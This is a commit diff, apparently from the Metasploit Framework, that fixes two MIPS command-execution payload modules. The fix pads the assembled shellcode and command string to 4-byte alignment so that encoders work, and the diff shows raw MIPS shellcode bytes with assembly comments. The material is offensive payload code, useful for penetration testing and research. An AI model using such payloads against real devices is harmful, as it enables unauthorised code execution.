Land #3320, @m-1-k-3's mips exec payload fixes to allow encoding.

bug/bundler_fix
joev 2014-05-13 12:38:23 -05:00
commit 827feaed9f
No known key found for this signature in database
GPG Key ID: 127B05FB3E85A2B0
2 changed files with 15 additions and 3 deletions

View File

@ -66,7 +66,13 @@ module Metasploit3
#
# Constructs the payload
#
return super + shellcode + command_string + "\x00"
shellcode = shellcode + command_string + "\x00"
# we need to align our shellcode to 4 bytes
(shellcode = shellcode + "\x00") while shellcode.length%4 != 0
return super + shellcode
end

View File

@ -62,12 +62,18 @@ module Metasploit3
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
"\xe8\xff\xa5\x27" + # addiu a1,sp,-24
"\xab\x0f\x02\x24" + # li v0,4011
"\x0c\x01\x01\x01" # + syscall 0x40404
"\x0c\x01\x01\x01" # syscall 0x40404
#
# Constructs the payload
#
return super + shellcode + command_string + "\x00"
shellcode = shellcode + command_string + "\x00"
# we need to align our shellcode to 4 bytes
(shellcode = shellcode + "\x00") while shellcode.length%4 != 0
return super + shellcode
end